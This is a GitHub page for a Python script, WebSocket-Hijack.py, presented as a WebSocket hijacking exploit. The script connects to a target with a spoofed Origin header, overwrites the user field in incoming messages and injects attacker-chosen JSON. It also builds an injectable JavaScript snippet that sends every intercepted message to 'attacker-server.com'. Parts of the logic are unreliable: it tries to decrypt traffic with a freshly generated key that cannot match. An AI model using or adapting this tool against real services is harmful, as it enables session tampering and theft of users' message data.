-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathWebSocket-Hijack.py
More file actions
127 lines (104 loc) · 4.45 KB
/
Copy pathWebSocket-Hijack.py
File metadata and controls
127 lines (104 loc) · 4.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import asyncio
import argparse
import json
import base64
import os
from urllib.parse import urlparse
from colorama import Fore, init
import websockets
from cryptography.fernet import Fernet
init(autoreset=True)
class WebsocketMitm:
def __init__(self, target_uri, payloads, spoof_origin=None, custom_js=None):
self.target = target_uri
self.spoof_origin = spoof_origin
self.custom_js = custom_js
self.payloads = payloads
self.cipher = Fernet(Fernet.generate_key())
self.sessions = {}
async def _inject_custom_js(self, websocket):
js_payload = f"""
<script>
const ws = new WebSocket('{websocket.url}');
ws.onmessage = (e) => {{
fetch('https://attacker-server.com/log?data=' + encodeURIComponent(e.data));
}};
{self.custom_js or ''}
</script>
"""
return js_payload
async def _generate_handshake_header(self):
headers = {
"Origin": self.spoof_origin or urlparse(self.target).netloc,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) WebSocketHijacker/1.0",
"Sec-WebSocket-Key": base64.b64encode(os.urandom(16)).decode(),
"Connection": "Upgrade",
"Upgrade": "websocket"
}
return headers
async def _hijack_session(self, websocket):
"""Обработка сообщений с улучшенной обработкой ошибок"""
async for message in websocket:
try:
# Обработка текстовых сообщений
if isinstance(message, str):
data = json.loads(message)
print(Fore.CYAN + f"[+] Received: {data}")
# Модификация данных
if "user" in data:
data["user"] = "hijacked_user"
modified = json.dumps({**data, **self.payloads})
await websocket.send(modified)
print(Fore.YELLOW + f"[!] Injected: {modified}")
# Обработка бинарных сообщений
else:
try:
decrypted = self.cipher.decrypt(message)
print(Fore.RED + f"[!] Decrypted binary: {decrypted[:50]}...")
except:
print(Fore.RED + f"[!] Raw binary data: {message[:50]}...")
except json.JSONDecodeError:
print(Fore.RED + "[!] Invalid JSON received")
except Exception as e:
print(Fore.RED + f"[!] Critical error: {str(e)}")
async def exploit(self):
"""Улучшенное управление соединением"""
try:
async with websockets.connect(
self.target,
extra_headers=await self._generate_handshake_header(),
ping_interval=None,
timeout=10
) as ws:
print(Fore.GREEN + "[+] WebSocket connection established")
if self.custom_js:
js = await self._inject_custom_js(ws)
print(Fore.BLUE + f"[!] JS Payload:\n{js}")
await self._hijack_session(ws)
except websockets.InvalidHandshake:
print(Fore.RED + "[!] Handshake failed: check headers and URL")
except ConnectionRefusedError:
print(Fore.RED + "[!] Connection refused")
except Exception as e:
print(Fore.RED + f"[!] Connection error: {str(e)}")
async def main():
parser = argparse.ArgumentParser(description="WebSocket Hijacking Exploit")
parser.add_argument("-u", "--url", required=True, help="Target WebSocket URL (ws:// or wss://)")
parser.add_argument("-o", "--origin", help="Spoofed Origin header")
parser.add_argument("-p", "--payload", default='{"hijacked":true}', help="JSON payload to inject")
parser.add_argument("-j", "--javascript", help="Custom malicious JavaScript")
args = parser.parse_args()
try:
payload = json.loads(args.payload)
except json.JSONDecodeError:
print(Fore.RED + "[!] Invalid JSON payload")
return
attacker = WebsocketMitm(
target_uri=args.url,
payloads=payload,
spoof_origin=args.origin,
custom_js=args.javascript
)
await attacker.exploit()
if __name__ == "__main__":
asyncio.run(main())